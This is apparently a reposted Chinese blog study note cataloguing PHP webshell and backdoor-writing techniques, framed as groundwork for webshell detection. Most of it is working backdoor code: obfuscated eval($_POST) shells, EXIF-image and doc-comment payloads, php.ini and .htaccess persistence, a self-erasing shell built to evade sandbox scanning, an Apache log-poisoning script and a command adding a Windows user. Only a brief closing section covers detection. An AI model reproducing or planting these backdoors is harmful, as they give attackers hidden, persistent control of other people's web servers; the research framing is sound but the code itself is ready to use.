- A+
FROM:各种畸形WEBSHELL学习(1) — WebShell攻防对抗系列学习
作为WebShell检测、CMS修复、WebShell攻防研究学习的第一篇文章
本文旨在研究Webshell的各种猥琐编写方式以及webshell后门的生成、检测技术,主要分享了一些webshell的编写方法以及当前对webshell的识别、检测技术的原理以及相应工具的使用,希望能给研究这一领域的朋友带来一点点帮助,同时抛砖引玉,和大家共同讨论更多的技术细节,共同学习成长
文章主要分为3部分
1. webshell原理介绍 2. webshell的常见类型以及变种方法 3. webshell的检测原理以及检测工具
1. 相关学习资料
http://hi.baidu.com/monyer/item/a218dbadf2afc7a828ce9d63
http://drops.wooyun.org/tips/839
http://1.lanz.sinaapp.com/?p=3
http://www.thespanner.co.uk/2011/09/22/non-alphanumeric-code-in-php/
http://blog.sucuri.net/2011/09/ask-sucuri-what-about-the-backdoors.html
http://www.php-security.org/2010/05/20/mops-submission-07-our-dynamic-php/index.html
http://www.freebuf.com/articles/web/11403.html
http://zone.wooyun.org/content/5429
http://www.8090sec.com/suixinbiji/111568.html
http://blog.d99net.net/article.asp?id=435
1. webshell原理介绍
来自百度百科的定义:
WebShell就是以asp、php、jsp或者cgi等网页文件形式存在的一种命令执行环境,也可以将其称做为一种网页后门。黑客在入侵了一个网站后,通常会将这些asp或php后门文件与网站服务器 WEB目录下正常的网页文件混在一起,然后就可以使用浏览器来访问这些asp或者php后门,得到一个命令执行环境,以达到控制网站服务器的目的(可以上传下载文件,查看数据库,执行任意程序 命令等)
也就是说,webshell也就是一些”正常”的脚本文件(这里说它正常,是从文本的角度来说的),而webshell的恶意性则是表现在它的实现功能上的,也叫Back Door,是一段带有恶意目的的正常脚本代码(Mareware)
在开始学习webshell的各种奇技淫巧之前,我们要先了解一个基本概念,即webshell的组成,下面是引用Monyer的一篇文章:
还有一张是来自drops的一篇paper:
即不管webshell的外形怎么改变,它的基本骨架都符合这个结构,即WebShell的实现需要两步:
1. 数据的传递 2. 执行所传递的数据
根据这两个基本点,webshell可以衍生出很多种写法
1. 数据的传递:
1) $_GET、$_POST、$_COOKIES、$_FILE...(HTTP包中的任何位置都可以作为payload的传输媒介)
2) 从远程远程URL中获取数据: file_get_contents、curl、svn_checkout...(将需要执行的指令数据放在远程URL中,通过URL_INCLUDE来读取)
3) 从磁盘文件中获取数据: file、file_get_contents...(将需要执行的指令数据放在磁盘文件中,利用IO函数来读取)
4) 从数据库中读取(将需要执行的指令放在数据库中,利用数据库函数来读取)
5) 从图片头部中获取: exif_read_data...(将需要执行的指令数据放在图片头部中,利用图片操作函数来读取)
2. 代码执行(将用户传输的数据进行执行)
1) eva、system...l执行(这是最普通、标准的代码执行)
2) LFI: include、require...(利用浏览器的伪协议将文件包含转化为代码执行)
3) 动态函数执行($()...PHP的动态函数特性)
4) Curly Syntax(${${...}}...这种思路可以把变量赋值的漏洞转化为代码执行的机会)
关于webshell的防御,这里我的理解应该做一下区分:
webshell有三大类的问题:
1) 由一些CMS应用系统的漏洞导致的getshell,攻击者在注入攻击的那一瞬间进行getshell,这类webshell的防御主要是在对原有应用系统的代码审查上,审核原有的应用系统的代码中
是否存在可能导致getshell的"不安全代码"
2) 对攻击者写入的webshell代码本身的检测,我们需要了解黑客都会使用哪些种类的奇技淫巧的webshell编写方式,并对这类文件的操作行为进行监控并进行报告
3) 还有一种假设的前提是黑客已经获得了一定的对目标服务器的控制权限,黑客为了后续的访问,会留下逻辑后门。这种逻辑后门可以很宽泛的理解一下:
3.1) 人工故意放置一个带注入点的文件,并放上正常的文件内容,增加迷惑性,让扫描工具工具和管理员看起来像正常文件
3.2) 修改服务器配置文件:
1) .htaceess,修改某些扩展名的执行权(例如手工添加 .fackType PHP 这种映射关键的建立).
SetHandler application/x-httpd-php: 添加jpg和PHP解析引擎的映射
2) 建立一种逻辑后门。或在php.ini中设置auto_preload来预加载.php脚本,放置后门代码
3.3) 修改CMS的配置,放行某些(.php、.asp)的上传权限
3.4) 人工设置几个包含容易导致漏洞的代码的脚本文件(LFI、命令执行等)
2. webshell的常见类型以及变种方法
接下来分别列出我所遇到过的PHP webshell的写法
0x1: php.ini隐藏后门 在php.ini 中添加: ; Automatically add files before PHP document. ; http://php.net/auto-prepend-file auto_prepend_file = choop.php ; (auto_prepend_file是在任意PHP脚本的头部) ; (auto_append_file是在任意PHP脚本的尾部) ; (不管头部还是尾部,webshell都能被正常执行) ; LittleHann include_path = "E:\wamp\www\shell;." ;我们所要include的文件目录放在根目录的前边。不然的话apache会在根目录下搜索我们的后门(当然是没有了从而导致服务器解析php文件失败) 在"E:\wamp\www\shell"中创建 choop.php: <?php eval($_POST[1]); ?> 这样可以将webshell藏在磁盘上的任意位置,不一定是要web目录,然后在整个服务器运行期间放置后门
0x2: 利用PHP动态变量特性
<?php
//@eval($_POST['op']);
@eval(${"_P"."OST"}['op']);
?>
//使用注释符来规避基于黑名单的正则
<?php
//@eval($_POST['op']);
@eval($/*aaa*/{"_P"."OST"}['op']);
?>
使用其他数据获取方式来获取数据,譬如$_REQUEST、$GLOBALS["_POST"]、$_FILES等。
<?php
@eval($_REQUEST['op']);
?>
$_REQUEST 中的变量通过 GET,POST 和 COOKIE 输入机制传递给脚本文件。这个数组的项目及其顺序依赖于 PHP 的variables_order 指令的配置。
<?php
@eval($GLOBALS['_POST']['op']);
?>
<?php
@eval($_FILE['name']);
?>
(然后把payload写在文件名中)
0x3: tiny php shell 前提是对方的服务器的php.ini开启了 short_open_tag = On <?=($_=@$_GET[2]).@$_($_GET[1])?> http://localhost/shell/choop.php?2=system&1=dir
0x4: Non alphanumeric webshell
<?php
$_="";
$_[+$_]++;
$_=$_."";
$___=$_[+""];//A
$____=$___;
$____++;//B
$_____=$____;
$_____++;//C
$______=$_____;
$______++;//D
$_______=$______;
$_______++;//E
$________=$_______;
$________++;$________++;$________++;$________++;$________++;$________++;$________++;$________++;$________++;$________++;//O
$_________=$________;
$_________++;$_________++;$_________++;$_________++;//S
$_=$____.$___.$_________.$_______.'6'.'4'.'_'.$______.$_______.$_____.$________.$______.$_______;
$________++;$________++;$________++;//R
$_____=$_________;
$_____++;//T
$__=$___.$_________.$_________.$_______.$________.$_____;
$__($_("ZXZhbCgkX1BPU1RbMV0p"));
//ASSERT(BASE64_DECODE("ZXZhbCgkX1BPU1RbMV0p"));
//ASSERT("eval($_POST[1])");
//key:=1
?>
0x5: 图片木马
choop.php:
<?php
$wp__theme_icon=create_function('',file_get_contents('/hacker.gif'));
$wp__theme_icon();
?>
hacker.gif:
phpinfo();
这是图片木马的利用方式的一种)
http://www.php.net/manual/zh/function.create-function.php
string create_function ( string $args , string $code )
但是这种方法的利用有一个问题,不能像include那样有兼容性,include的情况是允许include进来的语句有错误,PHP会忽略这些错误,而去执行include进来的有效PHP代码
而create_function('',file_get_contents('/hacker.gif')); 这种方法不允许图片中有非法数据(其实就是真实的图片数据),否则就会出现解析错误,所以黑客只能把纯的木马脚本
保存成图片格式而已,这样就可能导致无法绕过图片上传防御机制
0x6: preg_replace的"/e"执行特性
<?php
$subject='any_thing_you_can_write';
$pattern="/^.*$/e";
$payload='cGhwaW5mbygpOw==';
//cGhwaW5mbygpOw==: "phpinfo();"
$replacement=pack('H*', '406576616c286261736536345f6465636f646528')."\"$payload\"))";
//406576616c286261736536345f6465636f646528: "eval(base64_decode(";
preg_replace($pattern, $replacement , $subject);
?>
PHP pack() 函数,基本上和数据类型的转换是一个类型的函数
http://www.w3school.com.cn/php/func_misc_pack.asp
preg_replace — 执行一个正则表达式的搜索和替换
http://cn2.php.net/manual/zh/function.preg-replace.php
mixed preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [, int $limit = -1 [, int &$count ]] )
搜索subject中匹配pattern的部分, 以replacement进行替换。
当使用e修饰符时, 引擎会将"结果字符串"作为php代码使用eval方式进行评估并将返回值作为最终参与替换的字符串。
这个webshell的利用方式的核心在于:
1. 这个PHP函数: preg_replace,它完成了eval的功能
2. 这个pack函数,它完成了eval(base64_decode(...和shellcode_payload的拼接
0x7: 字符串拼接+PHP的动态函数执行
<?php
$char_as='as';
$char_e='e';
$char_assert=$char_as.'s'.$char_e.'r'.'t';
$char_base64_decode='b'.$char_as.$char_e.(64).'_'.'d'.$char_e.'c'.'o'.'d'.$char_e;
@$char_assert(@$char_base64_decode('ZXZhbCgkX1BPU1RbMV0p'));
//ZXZhbCgkX1BPU1RbMV0p: "eval($_POST[1])"
?>
0x8: Curly Syntax
<?php
$k = "{${phpinfo()}}";
?>
<?php
$xsser = $_GET["op"];
@eval("\$safedg = $xsser;")
?>
http://localhost/shell/index.php?op=${${fputs(fopen("LittleHann.php", "w+"), "<?php eval(\$_POST[1]);?>LittleHann")}};
这个利用方式很巧妙,这种注入的利用场景是假如应用系统的输入点存在注入点,并且这个输入有机会到达代码的某个变量赋值的代码流位置,黑客可以利用这次"<strong>变量赋值</strong>"进行一次"<strong>代码执行</strong>"
0x9: 逻辑后门
<?php
foreach ($_GET as $key => $value)
{
//由攻击者添加
$$key = $value;
}
// ... some code
if (logged_in() || $authenticated)
{
//原有逻辑
// ... administration area
}
?>
或者增加逻辑
if($user_level==ADMIN || $user_name==’monyer’)
{
//admin area
}
或者增加配置
$allow_upload = array(
‘jpg’,’gif’,’png’,
‘php’,
);
这和拿到CMS后台,然后修改"可允许上传文件类型",增加.php的做法类似,这是一种"后门思想"
这里的情况是黑客已经控制了服务器的一定控制权,在服务器上留后门,黑客可以手动添加这段代码,人工构造本地变量覆盖漏洞,然后黑客在下次攻击的时候就可以进行变量注入,
进而控制原始的代码流
在其他的情况下
在代码中,常常在if()这样的关键跳的位置根据变量进行代码流向判断,而如果应用系统存在任意变量覆盖漏洞,就有可能导致系统本地原本的变量被覆盖,进而导致代码流被黑客控制
0xA: LFI导致的代码执行
<?php
$to_include = $_GET['file'];
require_once($to_include);
?>
这种LFI可能导致黑客将文件包含漏洞升级为代码执行漏洞
http://localhost/shell/index.php?file=data:text/plain,<?php phpinfo();?>
http://tools.ietf.org/html/rfc2397
data:[<mediatype>][;base64],<data>
或者
eval(file_get_contents('php://input'));
0xB: 动态函数执行
<?php
$dyn_func = $_GET['dyn_func'];
$argument = $_GET['argument'];
$dyn_func($argument);
?>
http://localhost/shell/index.php?dyn_func=system&argument=dir
如果目标服务器开启了: register_globals=on
则webshell还可以这么写
<?php
$dyn_func($argument);
?>
http://localhost/shell/index.php?dyn_func=system&argument=dir
但是register_globals这个选项在PHP5.0以后就取消了,即不管php.ini中写On还是Off都没有任何意义
0xC: PHP动态创建匿名函数(Lamda表达式)
除了动态变量直接动态执行函数,PHP还允许使用create_function动态的进行"匿名函数(Lamda)"的创建
http://cn2.php.net/manual/zh/function.create-function.php
string create_function ( string $args , string $code )
<?php
$foobar = $_GET['foobar'];
$dyn_func = create_function('$foobar', "echo $foobar;");
$dyn_func('');
?>
http://localhost/shell/index.php?foobar=system('dir')
或者
http://localhost/shell/index.php?foobar=eval('phpinfo();')
动态函数的另一种写法:
<?php
eval("function lambda_n() { echo system('dir'); }");
lambda_n();
?>
<?php
eval("function lambda_n() { eval($_GET[1]); }");
lambda_n();
?>
http://localhost/shell/index.php?1=phpinfo()
这里之所以可以使用create_function是因为在PHP内部 create_function() 只是对 eval()的一层封装,它最终还是使用eval()进行代码执行的
0xD: 利用系统输出缓存的方法
<?php
$foobar = 'system';
ob_start($foobar);
echo "dir c:";
ob_end_flush();
?>
http://cn2.php.net/manual/zh/function.ob-start.php
ob_start()会把自己接收到的字符串当作一个"回调函数callback_func",并将接下来的缓冲区输入,当作这个"回调函数"的参数
0xE: 利用assert()断言来进行代码执行
<?php
$foobar = 'system("dir")';
assert($foobar);
?>
http://cn2.php.net/manual/zh/function.assert.php
1. 断言这个功能应该只被用来调试
2. 你应该用于完整性检查时测试条件是否始终应该为 TRUE
3. 来指示某些程序错误
4. 或者检查具体功能的存在(类似扩展函数或特定的系统限制和功能)
0xF: 数组映射(xxx_map)类型函数的处理后回调机制导致的代码执行
array_map()
usort(), uasort(), uksort()
array_filter()
array_reduce()
array_diff_uassoc(), array_diff_ukey()
array_udiff(), array_udiff_assoc(), array_udiff_uassoc()
array_intersect_assoc(), array_intersect_uassoc()
array_uintersect(), array_uintersect_assoc(), array_uintersect_uassoc()
array_walk(), array_walk_recursive()
<?php
$evil_callback = $_GET['callback'];
$some_array = array(0, 1, 2, 3);
$new_array = array_map($evil_callback, $some_array);
?>
http://localhost/shell/index.php?callback=phpinfo
XML的解析也同样存在这个的映射回调问题
xml_set_character_data_handler()
xml_set_default_handler()
xml_set_element_handler()
xml_set_end_namespace_decl_handler()
xml_set_external_entity_ref_handler()
xml_set_notation_decl_handler()
xml_set_processing_instruction_handler()
xml_set_start_namespace_decl_handler()
xml_set_unparsed_entity_decl_handler()
stream_filter_register()
set_error_handler()
register_shutdown_function()
register_tick_function()
0x20: PHP的序列化、反序列化特性布置后门
<?php
class Example
{
var $var = '';
function __destruct()
{
eval($this->var);
}
}
//$exp = new Example();
//$exp->var = "phpinfo();";
//die(serialize($exp));
unserialize($_GET['saved_code']);
?>
O:7:"Example":1:{s:3:"var";s:10:"phpinfo();";}
http://localhost/shell/index.php?saved_code=O:7:"Example":1:{s:3:"var";s:10:"phpinfo();";}
原理是: 被序列化的对象在反序列化的时候会自动调用它的析构函数
0x21: 使用HTTP头部的其他非常用字段进行指令的传输
通过HTTP请求中的HTTP_REFERER来运行经过base64编码的代码,来达到后门的效果。
backdoor:
<?php
header('Content-type:text/html;charset=utf-8');
//将$_SERVER['HTTP_REFERER']中的参数解析到本地变量中,放到$a数组中
parse_str($_SERVER['HTTP_REFERER'], $a);
//判断数组变量$a中的第一个元素是否是"10"、并且数组元素个数是否是9个
if(reset($a) == '10' && count($a) == 9)
{
//取出数组$a中索引6的元素,即我们传入的实际payload,并进行base64_decode解码
eval(base64_decode(str_replace(" ", "+", implode(array_slice($a, 6)))));
}
?>
利用方式:
<?php
header('Content-type:text/html;charset=utf-8');
//要执行的代码
$code = "phpinfo();";
//进行base64编码
$code = base64_encode($code);
//构造referer字符串
$referer = "a=10&b=ab&c=34&d=re&e=32&f=km&g={$code}&h=&i=";
//后门url
$url = 'http://localhost/shell/index.php';
$ch = curl_init();
$options = array(
CURLOPT_URL => $url,
CURLOPT_HEADER => FALSE,
CURLOPT_RETURNTRANSFER => TRUE,
CURLOPT_REFERER => $referer
);
curl_setopt_array($ch, $options);
echo curl_exec($ch);
?>
原理分析:
http://www.php.net/manual/zh/function.parse-str.php
和extract()作用类似,将外部传入的参数注册为本地变量
http://www.w3school.com.cn/php/func_array_reset.asp
reset() 函数把数组的内部指针指向第一个元素,并返回这个元素的值
http://www.w3school.com.cn/php/func_array_slice.asp
array_slice(array,offset,length,preserve)
array_slice() 函数在数组中根据条件取出一段值,并返回。
http://www.w3school.com.cn/php/func_string_implode.asp
implode
这个webshell通过编码的referer来传递攻击载荷,HTTP通信的头部的任何字段、或者HTTP的数据部分的任何字段都可以当作webshell的payload来传递数据的。
0x22: 乱序拼接法
<?php
@$_="s"."s"."e"."r";
@$_="a".$_."t";
@$_(${"_P"."OS"."T"}[1-2-5]);
?>
注意这里双层${}的作用,里面那个${}是为了让_POST[-6]被解析出来的,如果不用这个花括号,则这个"_POST[]"就变成一个纯文本了,加上这个${}之后,变量原本的变量特性就表现出来了,
也就能正确传参了
<?php
$aaaaa="sewtemznypianol";
$char_system=$aaaaa{0}.$aaaaa{8}.$aaaaa{0}.$aaaaa{3}.$aaaaa{1}.$aaaaa{5};
//die($char_system);
$aaaaaa="edoced46esab_n";
$char_base64_decode=$aaaaaa{11}.$aaaaaa{10}.$aaaaaa{9}.$aaaaaa{8}.$aaaaaa{7}.$aaaaaa{6}.$aaaaaa{12}.$aaaaaa{5}.$aaaaaa{4}.$aaaaaa{3}.
$aaaaaa{2}.$aaaaaa{1}.$aaaaaa{0};
die($char_base64_decode);
echo $char_system($char_base64_decode("aXBjb25maWc="));
?>
这种webshell的编写思路很巧妙,和"乱序插入"还不是一个做法
1) "乱序插入"是在一段正常的webshell代码中随机插入一些杂乱的无意义的字母,然后再在下面使用preg_replace之类的正则替换来去除掉这些"混淆盐字母",以还原出原有的正常的
webshell代码
2) 这种做法是先定义一个"字母池",这个"字母池"包含有我们需要构造的关键函数的字符。我们通过从这个字母池中选取特定的索引下的字母,以此来构造出我们想要
的"动态函数"(system、base64_decode)
0x23: 利用apache的错误日志进行webshell的注入
利用了apche服务器的错误日志文件,当访问一个不存在的连接时,日志中会记录下这样的一句话
[Tue Jan 14 09:48:01.664731 2014] [core:error] [pid 9412:tid 1876] (20024)The given path is misformatted or contained invalid characters:
[client ::1:10248] AH00127: Cannot map GET /shell/<?php eval($_POST[sb])?> HTTP/1.1 to file
这个和很多CMS中的功能很类似,会记录一些运行信息
1) 出错信息,包含导致出错的原始语句,问题也就发生在这里,即用户可能有机会控制这个日志文件的内容
2) 访问记录(例如: 请求URL),和(1)同样的道理,这属于用户可控的信息
3) 其他的HTTP相关信息
后门back door: 这是留待以后用来引入带后门的日志文件使用的
<?php
include($_GET['f']);
?>
攻击触发脚本,向日志文件中打入payload
http://localhost/shell/attack.php
<?php
// 1. 初始化
$ch = curl_init();
// 2. 设置选项,包括URL
curl_setopt($ch, CURLOPT_URL, "http://localhost/shell/<?php eval(\$_POST[sb])?>");
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 0);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.1) Gecko/20061204 Firefox/4");
curl_setopt($ch, CURLOPT_FOLLOWLOCATION,true);
// 3. 执行并获取HTML文档内容
$output = curl_exec($ch);
// 4. 释放curl句柄
curl_close($ch);
?>
执行这个脚本后,会在apache的错误日志中留下原始的访问记录
[Tue Jan 14 09:48:01.664731 2014] [core:error] [pid 9412:tid 1876] (20024)The given path is misformatted or contained invalid characters:
[client ::1:10248] AH00127: Cannot map GET /shell/<?php eval($_POST[sb])?> HTTP/1.1 to file
之后吧log的地址当做参数传入即可,这里log位置须自行查找
http://localhost/shell/index.php?f=E:\wamp\logs\apache_error.log
0x24: 利用字符的运算符来进行webshell的构造
<?php
echo 'a'|'d';//e!
?>
字符串和数字的强转:
<?php
$_="abc";
echo $_+1; //1
?>
<?php
$_="1abc";
echo $_+1; //2
?>
字符串会被强制转换成数字,如果不能转,就返回0
http://www.blogjava.net/zuofei-bie/archive/2010/03/31/317092.html
<?php
$_="abc";
echo ++$_; //abd
?>
这种"++"和"+"的表现形式还不太一样,"++"是把字符串最后一个字母进行"+1"
0x25: 使用PHP的管道技术执行系统命令后门
popen()
http://www.w3school.com.cn/php/func_filesystem_popen.asp
<?php
/*
PHP中如何增加一个系统用户
下面是一段例程,
用户名: test
密码是: 111
*/
$command = "net user";
$useradd = "add ";
$pwd = "111";
$user = "test";
$user_add = sprintf("%s "%s %s"", $command, $useradd, $user, $pwd);
$fp = @popen($user_add,"w");
@pclose($fp);
?>
命令执行成功,添加账户成功。PHP执行命令有很多方法,eval、passthru、system、assert、popen、exec、shell_exec
0x26: 利用PHP的指令替换编写webshell
<?php
$cmd = `dir`;
echo $cmd;
?>
波浪线下面那个键括起来的字符串可以当命令执行。
0x27: 利用一些CMS等开源框架进行本地变量覆盖
<?php
foreach ($_GET as $key => $value)
{
$result .= "$key=$value&";
}
/*
很多开源框架都有类似上面这段功能的代码,用于将用户输入的参数进行批量的本地化
但是这也往往导致了"本地变量覆盖漏洞"
同时也可以被黑客用来在原本正常的文件中插入
parse_str($result);
$sys($command);
这段代码来进行getshell
*/
..
parse_str($result);
$sys($command);
?>
http://localhost/shell/index.php?sys=system&command=dir
0x28: PHP图片木马
除了传统的把php代码type进图片不一样,这里介绍另一种图片木马的利用方式。
图片木马相关知识
http://en.wikipedia.org/wiki/Exchangeable_image_file_format
http://blog.sucuri.net/2013/07/malware-hidden-inside-jpg-exif-headers.html
Malware Hidden Inside JPG EXIF Headers
http://cn2.php.net/manual/zh/function.exif-read-data.php
exif_read_data
exif_read_data() 函数从 JPEG 或 TIFF 图像文件中读取 EXIF 头信息。这样就可以读取数码相机产生的元数据
<?php
echo "img.jpg:<br />\n";
$exif = exif_read_data('img.jpg', 'IFD0');
//IFD0 所有 IFD0 的标记数据。在标准的图像文件中这包含了图像大小及其它。
echo $exif===false ? "No header data found.<br />" : "Image contains headers<br />";
echo "<br />";
//FILE FileName, FileSize, FileDateTime, SectionsFound
$exif = exif_read_data('img.jpg', 'FILE', true);
echo "img.jpg:<br />\n";
foreach ($exif as $key => $section)
{
foreach ($section as $name => $val)
{
echo "$key.$name: $val<br />\n";
}
echo "<br />";
}
?>
这里提出了一种隐藏webshell的新思路
1. 和传统的图片木马不一样,传统的图片木马就是简单的利用type命令把webshell代码接在一个正常的图片尾部,然后在另一个脚本中使用include包含进来,PHP解析解析引擎会忽略在
PHP看来毫无意义的图片数据的乱码,而去执行在文件结尾的PHP代码,这是一种很好的利用方式
2. 而关于这种图片木马,可以有一种更加精确的利用方式,图片(也就是EXIT格式的文件)的每个区段都是有精确意义的,我们可以将我们的webshell准确地放置在这些指定的区域,
然后使用exif_read_data去读取读取出来,然后使用preg_replace的"e"开关去动态执行,或者使用动态函数去动态执行
3. 这个可以用来规避include那种类型的黑名单检测
将webshell代码放置在EXIT的头部区域中,这里挑选:
IFD0->
1. ImageDescription: /.*/e
2. Subject: eval(\$_POST[1])
(注意这里要使用winhex来进行ASCII字符的修改)
<?php
//FILE FileName, FileSize, FileDateTime, SectionsFound
$exif = exif_read_data('img.jpg', 'FILE', true);
var_dump($exif['IFD0']['ImageDescription']);
var_dump($exif['IFD0']['Subject']);
preg_replace($exif['IFD0']['ImageDescription'], $exif['IFD0']['Subject'],'');
//die();
?>
: 将数据放在注释中
ttp://www.8090sec.com/suixinbiji/111568.html
黑客将webshell放到了/**/注释中,然后利用类的反射机制获取到,进行动态函数的执行
PHP的反射类机制
ReflectionClass
http://cn2.php.net/manual/zh/reflectionclass.construct.php
ReflectionClass::getDocComment — 获取文档注释
http://cn2.php.net/manual/zh/reflectionclass.getdoccomment.php
这是最终的poc
<?php
/**
* eval($_POST[1]);
*/
class TestClass { }
$rc = new ReflectionClass('TestClass');
//获取当前文档的注释
$comment = $rc->getDocComment();
//die(var_dump($comment));
$pos = strpos($comment,'eval');
//die(var_dump($pos));
$eval=substr($comment,$pos,16);
//die($eval);
eval($eval);
?>
: .htaccess后门 可将php代码存于非php后缀文件,例: x.jpg 将以下代码写入.htaccess中 SetHandler application/x-httpd-php 连接x.jpg即可启动后门木马 http://26836659.blogcn.com/articles/利用-htaccess文件来执行php脚本.html 将以下代码写入.htaccess中, 文件路径必须是绝对路径,访问网站上任何php文件都会启动该php后门木马 php_value auto_append_file E:/wamp/www/choop.php
: webshell多态技术: 自毁型webshell
自毁性WebShell
<?php
/*
现在的PHP的webshell的检测基本用的是对PHP执行引擎进行hook进行动态检测
即我们构造出一个沙箱,让目标脚本在里面执行一次,然后对执行的结果进行判断
而我们的沙箱在触发这个脚本执行的时候由于没有给定准确的参数"code",就会导致毁灭性覆写"fwrite ($fp, $content)"的结果
这样,沙箱的执行结果就是一个普通的文本"helloworld"
然后,管理员再去查看这个文件的时候,看到的就只是一个"helloworld"了
这个是很针对"PHP的动态沙箱检测"的绕过的
反而利用了沙箱的机制,沙箱导致了文件的毁坏
*/
//$url = $_SERVER['PHP_SELF'];
//$filename = end(explode('/',$url));
//die($filename);
if($_REQUEST["code"]==pany)
{
echo str_rot13('riny($_CBFG[pzq]);');
eval(str_rot13('riny($_CBFG[pzq]);'));
}
else
{
$url = $_SERVER['PHP_SELF'];
$filename = end(explode('/',$url));
$content = 'helloworld';
$fp = fopen ("$filename","w");
if (fwrite ($fp, $content))
{
fclose ($fp);
die ("error");
}
else
{
fclose ($fp);
die ("good");
}
exit;
}
?>
: 利用本地变量注册技术
http://blog.sucuri.net/2014/02/php-backdoors-hidden-with-clever-use-of-extract-function.html
利用extract函数将输入数据注册为本地变量,然后利用PHP的动态执行特性进行动态函数执行
http://www.php.net/manual/en/function.extract.php
<?php
@extract ($_REQUEST);
@die($ctime($atime));
?>
http://localhost/test/index.php?ctime=assert&atime=phpinfo()
: 关于本地变量注册技术的利用姿势
PHP中有三种姿势可能导致本地变量注册,进而利用PHP的动态函数执行技巧进行WEBSHELL的构造
1) extract
2) parse_str
3) foreach(..) { $$key = $value; }
这三种在本文中都给出了相应例子
: 利用PHP的逻辑运算符进行WEBSHELL的编码
http://worm.cc/PHP中使用按位取反函数创建后门.html
WEBSHELL代码
<?php
$x = ~"žŒŒš‹";
$y = ~"—–‘™×Ö";
$x($y);
?>
生成原理
<?php
echo ~"assert";
echo ~"phpinfo()";
?>
注意这个文件一定要保存为ANSI格式
这是一种利用数学运算符来进行WEBSHELL隐藏的一个思路,举一反三,还可以使用其他的数学运算符来进行相似的隐藏效果
: 利用PHP扩展隐藏后门WEBSHELL木马 这种情况需要黑客已经对目标服务器具有一定的控制权,可以修改目标服务器的php.ini并且可以上传扩展文件.so、.dll到指定目录下。这种扩展型的后门木马的效果非常好, 对静态检测程序、和动态沙箱检测程序的bypass特性都有很好的 表现。技术上说,这种利用PHP扩展隐藏后门的方法还有分为两种 1) 编写扩展程序,Hook某些核心的PHP函数的执行流,并通过检测网络流量中是否出现指定的关键字(例如攻击者可以指定pwd:作为命令的触发标识)来决定是启动后门程序,并执行指令 2) 编写扩展程序,生成一些新的函数(例如backdoor_eval()),这样,黑客就可以在自己的WEBSHELL.PHP中调用这种函数,从而躲避静态检测程序的检测 http://www.kissthink.com/archive/3482.html
3. webshell变种后门生成工具介绍
webshell的自动化生成和混淆工具目前已经有很多不错的工具可用了
1. webacoo https://github.com/anestisb/WeBaCoo/ 2. weevely https://github.com/epinna/weevely/ 3. Hookworm https://github.com/modcloth-labs/hookworm 4. hidemyphpshell.py http://hackeruna.com/2011/09/06/hidemyphpshell-ofuscador-de-codigo-php/
这几款工具,都有简单易用的命令行界面,可以方便地生成webshell
4. webshell的检测技术
这块内容目前刚开始接触,还有待深入学习,应该在之后的学习笔记中会继续研究
目前webshell的检测主要分为静态检测和动态检测。
静态检测主要是基于以下几点: 1) 基于正则的特征匹配: webshell常常表现出一些有别于正常业务代码的特征 典型的代表: LMD (Linux Malware Detect) scanner http://www.clamav.net/lang/en/ 2) 基于文本的统计特征的阈值分析: webshell由于往往经过了编码和加密,会表现出一些特别的统计特征 典型的代表: NeoPI -- https://github.com/Neohapsis/NeoPI 3) 基于文件间"关联性"的分析: webshell一般和原始目录下的其他正常文件关联性较低
动态检测主要是基于以下几点: 1) 编写PHP扩展,对关键函数的执行进行HOOK,例如system等函数,这样,就可以创造出一个PHP的执行沙箱,进行虚拟机检测 2) 进行磁盘文件系统的实时监控,getshell的过程一定会涉及到磁盘的读写,利用windows提供的API: http://msdn.microsoft.com/en-us/library/windows/desktop/ms687025(v=vs.85).aspx WaitForMultipleObjects function http://msdn.microsoft.com/en-us/library/windows/desktop/aa365465(v=vs.85).aspx ReadDirectoryChangesW function 可以实现对磁盘操作的实时监控,对可疑的webshell创建进行分析、检测、拦截
本周主要关注webshell的常见写法以及变形技术,接下来将继续研究一下webshell的检测技术,并尝试写出demo
- 我的微信
- 这是我的微信扫一扫
-
- 我的微信公众号
- 我的微信公众号扫一扫
-

![1 [cnblogs-.Little Hann]各种畸形WEBSHELL学习(1) — W](http://anyun.org/wp-content/themes/anyun_begin/img/blank.gif)

